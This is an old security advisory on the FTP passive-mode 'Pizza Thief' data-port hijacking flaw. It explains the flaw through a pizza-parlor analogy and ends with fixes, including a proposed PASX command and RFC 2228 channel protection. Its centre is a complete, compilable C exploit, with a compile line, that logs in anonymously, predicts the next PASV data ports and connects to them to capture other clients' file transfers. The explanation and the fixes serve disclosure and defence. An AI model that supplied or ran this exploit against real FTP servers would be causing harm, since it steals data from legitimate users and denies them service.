COMMAND

    ftp (the Pizza Thief exploit)

SYSTEMS AFFECTED

    All operating systems. All FTP clients and FTP servers affected.

PROBLEM

    Following is based on  InfoWar Security Advisory.   Legitimate FTP
    clients may  experience Denial  of Service  and rogue  FTP clients
    may obtain unauthorized access to data.  Damage is data loss, data
    corruption, and denial of service.   However, the risk is  medium.
    The  ability  for  this  attack  to  be  performed  is  not   100%
    guaranteed.  The higher the volume of traffic an FTP server  sees,
    the higher the potential for a successful attack.  This attack has
    not yet been observed in the wild.

    The Pizza Thief exploit relies  on the FTP Passive (PASV)  mode of
    operation.   When a  client connects  to a  server using  the PASV
    mode, the  server opens  a port  for data  transfer to the client.
    As observed on all tested  FTP servers, any client other  than the
    legitimate client  may just  as equally  connect to  the allocated
    data port.  Typical behavior  is that the first client  to connect
    to the data  port gets the  data.  Any  following connections from
    other clients  (including the  legitimate client)  will either  be
    rejected or  connect without  reception of  data.   RFC 765  "FILE
    TRANSFER  PROTOCOL",  Page  23  describes  the "TRANSFER PARAMETER
    COMMANDS" for FTP. Two named transfer parameter commands are  DATA
    PORT (PORT) and PASSIVE (PASV). Either PORT or PASV is used by FTP
    to establish a data  connection, the Data Transfer  Process (DTP).
    FTP  data  connections  are  frequently  followed  by the RETRIEVE
    (RETR), STORE (STOR), APPEND (with create) (APPE), and LIST (LIST)
    commands which use the DTP.  When a DTP connection is  established
    between an FTP client and an FTP server, either the server listens
    for a  connection from  the client  (PASV command)  or the  client
    listens for  a connection  from the  server (PORT  command).  If a
    PORT command  is issued  to the  server, the  server requires  the
    client to  state at  which network  address and  on which port the
    server is to connect  to the client.   The PORT command is  of the
    format: "PORT h1,h2,h3,h4,p1,p2" where h1,h2,h3,h4 is the client's
    network address, and p1,p2 is the 16 bit client port number in  an
    8 bit  high,low bit  order.   If a  PASV command  is issued to the
    server, the server responds to  the client, telling the client  at
    what network address and on what port the client is to connect  to
    the server.  The PASV command takes no parameters.

    The "Postel's Pizza Parlor" FTP analogy:
    ========================================
    Mr. Postel  runs a  fine pizza  parlor in  Anytown, CA.  In recent
    years Mr. Postel  added two new  services to his  business: "Carry
    Out"  and  "Delivery".  Customers  thoroughly enjoy both services.
    Some  customers  living  in  gated  communities,  a recent housing
    phenomenon  that  has  been  continually  expanding, have found it
    necessary to use Carry Out rather than Delivery since the delivery
    person frequently  has problems  getting through  the front  gate.
    Although the gated community customers  find carry out a bit  of a
    pain they enjoy the compromise for their higher level of  security
    in living.   Mr. Postel's  business ran  fine for  a while  but he
    soon noticed  two erroneous  phenomenon: 1)  Some Delivery pizza's
    were being  delivered to  the wrong  addresses. 2)  Some Carry Out
    customers were  arguing that  their pizza  wasn't ready  when they
    arrived.  After  carefully  looking  into  the Delivery issue, Mr.
    Postel  discovered  that  some  customers  were calling and having
    pizza's delivered to wrong addresses or to individuals that didn't
    order a  pizza. Mr.  Postel surmised  that either  the caller  was
    doing this as a prank or they were, for whatever strange  reasons,
    making notes  of where  the pizzas  were able  to be delivered and
    not delivered.   After looking  into the  Carry Out  problem,  Mr.
    Postel determined that "pizza thieves" were comming into the store
    and asking to pick up pizzas  that were not their own by  guessing
    likely order numbers (the method by which a customer asks for  his
    or her pizza).  The legitimate customers  were then arriving  only
    to find that their pizza  wasn't ready.  After careful  thought on
    the Carry Out problem, Mr. Postel decided to make it a policy  for
    the calling customers to state  their home address.  Now  when the
    customer comes into  the pizza parlor,  the server will  check the
    person's drivers license  for a matching  address.  The  Carry Out
    problem analogously  describes the  problem with  the current  FTP
    PASV  connection  methodology.   Presently,  most  if not all, FTP
    servers on the Internet are succeptible to a "pizza thief" attack.
    This attack  involves a  rogue client  making educated  guesses at
    potential  port  numbers  (pizza  order  numbers).   Port   number
    prediction is possible by repetitive sampling of server  responses
    from the PASV command.  Many servers allocate new port numbers  by
    allocating a new port number at  a value one higher than the  last
    used port number.  This is analogous to a pizza thief sitting in a
    waiting  room,  listening  to  previous  order  numbers  and  then
    guessing at a currently pending order number and asking for it.

    In the  past, the  PASV connection  method was  used with far less
    frequency than the preferred PORT  connection method.  The use  of
    PASV  has  been  increasing  proportionately  with  an   increased
    frequency of clients sitting behind firewalls (gated communities).
    The pizza thief attack thus becomes more effective by day.  Not to
    mention  Netscape/Explorer  that  only  use  PASV  mode..  Exploit
    follows.  The  program will connect  to an ftp  server, log in  as
    user 'ftp' and if that works, issue a PASV command.  This  enables
    it to figure out what the next  port is.  It then connects to  the
    next X number  of ports, and  when it gets  data, dumps it  to the
    screen, it then exits..  This isnt the best program in the  world,
    nor was it meant to be, it was meant to prove that a hole  exists,
    which may cause people  to fix it faster..   This has only  tested
    this from a solaris box, to compile on solaris:

        cc -lnsl -lsocket -o pizza pizza.c

    OK, here's the code:

    /*
     * PizzaThief Exploit written by Bret McDanel bret@rehost.com
     *
     * HISTORY:
     *    This program is based on the paper written by Jeffrey R. Gerber
     *    and released in InfoWar Security Advisory #01 (http://www.infowar.com)
     *    February 1st, 1999 titled 'FTP PASV "Pizza Thief" Exploit'
     *    Feburary 03 1999 - Wrote and released prorgam
     *
     */

    #include <netdb.h>
    #include <sys/socket.h>
    #include <strings.h>
    #include <sys/time.h>
    #include <errno.h>

    #define NUMSOCK 50


    connserver(host,port)
    char *host;
    int port;
    {
      int sd,addr;
      struct hostent *he;
      struct sockaddr_in sa;

      /* try to resolve the host */
      if((addr=inet_addr(host))!= -1) {/* dotted decimal */
        memcpy(&sa.sin_addr,(char *)&addr,sizeof(addr));
      } else {
        if((he=gethostbyname(host))==NULL) {
          printf("Unable to resolve %s\n",host);
          return(-1);
        }
        memcpy(&sa.sin_addr,he->h_addr,he->h_length);
      }

      sa.sin_port=htons(port);
      sa.sin_family=AF_INET;

      if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
        perror("socket");
        return(-1);
      }

      if(connect(sd,(struct sockaddr *)&sa,sizeof(sa))<0) {
        perror("connect");
        return(-1);
      }
      return(sd);
    }





    netgets(buff,len,sd)
    char *buff;
    int len,sd;
    {
      int i;

      memset(buff,0,len);
      for(i=0;i<len;i++) {
        if(recv(sd,&buff[i],1,0)==0) return(i);
        if(buff[i]=='\n') return(i);
      }
      return(i);
    }




    pizzaman(ip,port)
    int ip;
    unsigned short port;
    {
      int sd,i;
      struct sockaddr_in sa;
      char buff[1024];

      memcpy(&sa.sin_addr,(char *)&ip,sizeof(ip));
      sa.sin_family=AF_INET;
      while(1) {
        for(i=1;i<=NUMSOCK;i++) {
          if((sd=socket(AF_INET,SOCK_STREAM,0))<0) {
        perror("socket");
        return(-1);
          }
          sa.sin_port=htons(port+i);
          if(connect(sd,(struct sockaddr *)&sa,sizeof(sa))==0) {
        printf("Got connection at %s:%d\n",inet_ntoa(&ip),port);
        /* read until the socket is closed
             * print to stdout cause I dont care
             */
        while((i=recv(sd,buff,sizeof(buff),0))>0) {
          if(i>0) printf("%s",buff);
        }
        return(0);
          } else {
        close(sd);
          }
        }
      }
    }





    main(argc,argv)
    int argc;
    char **argv;
    {
      int sd,ip;
      char buff[1024],*ptr1,*ptr2;
      unsigned short int port;

      if(argc!=2) {
        printf("Usage: %s ftpserver\n",argv[0]);
        exit(0);
      }

      if((sd=connserver(argv[1],21))<0) exit(0);

      while(1) {
        if(netgets(buff,sizeof(buff),sd)==0) { /* server closed connection */
          close(sd);
          exit(0);
        }

        if(!strncmp(buff,"220 ",4)) { /* requesting username */
          sprintf(buff,"user ftp\n");
          send(sd,buff,strlen(buff),0);
        }

        if(!strncmp(buff,"331 ",4)) { /* requesting password */
          sprintf(buff,"pass pizzaman@illuminati.gov\n");
          send(sd,buff,strlen(buff),0);
        }

        if(!strncmp(buff,"230 ",4)) { /* we are logged in now */
          sprintf(buff,"pasv\n");
          send(sd,buff,strlen(buff),0);
        }

        if(!strncmp(buff,"530 ",4)) { /* invalid password */
          sprintf(buff,"quit\n");
          send(sd,buff,strlen(buff),0);
          close(sd);
          printf("User ftp wasnt allowed\n");
          exit(0);
        }

        if(!strncmp(buff,"227 ",4)) { /* PASV responce */
          /* first get the ip/port into the buffer */
          ptr1=strtok(buff,"(");
          ptr2=strtok((char *)NULL,")");

          /* now break off the IP part */
          ptr1=(char *)&ip;
          ptr1[0]=atoi(strtok(ptr2,","));
          ptr1[1]=atoi(strtok((char *)NULL,","));
          ptr1[2]=atoi(strtok((char *)NULL,","));
          ptr1[3]=atoi(strtok((char *)NULL,","));

          /* now get the port number */
          ptr1=(char *)&port;
          ptr1[0]=atoi(strtok((char *)NULL,","));
          ptr1[1]=atoi(strtok((char *)NULL,","));

          sprintf(buff,"quit\n");
          send(sd,buff,strlen(buff),0);
          pizzaman(ip,port);
        }
 
      }
    }

SOLUTION

    Solving the problem requires careful thought.  Server  programmers
    can program  a server  to identify  the client  address associated
    with the control  port and only  allow data port  connections from
    the  client  address,  however  this  server  would  not  be   RFC
    compliant.  In the FTP standard, server to server connections  are
    possible by  use of  the PORT  command on  server A  and the  PASV
    command on server B.   The client directs both  server A and B  to
    connect to each other.  In this case, assume that server A accepts
    the  PASV  command.  Server  A  will  find that the address of the
    client on the control port  does not match the address  associated
    with the data connection (which is server B's address).

    A possible solution is an RFC obsoletion or update, documenting  a
    new form of  the PASV command,  PASX for "PASsiVe  eXtended".  The
    PASX command would take address arguments in the form  h1,h2,h3,h4
    just as the PORT command uses, sans port numbers p1,p2.  In  using
    PASX, both  the client  to server  connections and  the server  to
    server  connections  would  remain  compliant  with  current   RFC
    methodologies, yet adding a  much needed layer of  authentication.
    RFC  2228  "FTP  SECURITY  EXTENSIONS"  has addressed the issue of
    securing the data channel  with the DATA CHANNEL  PROTECTION LEVEL
    (PROT) extension and use of  data encapsulation.  Through the  use
    of a secured data channel, the Pizza Thief threat is reduced to  a
    simple denial of service attack.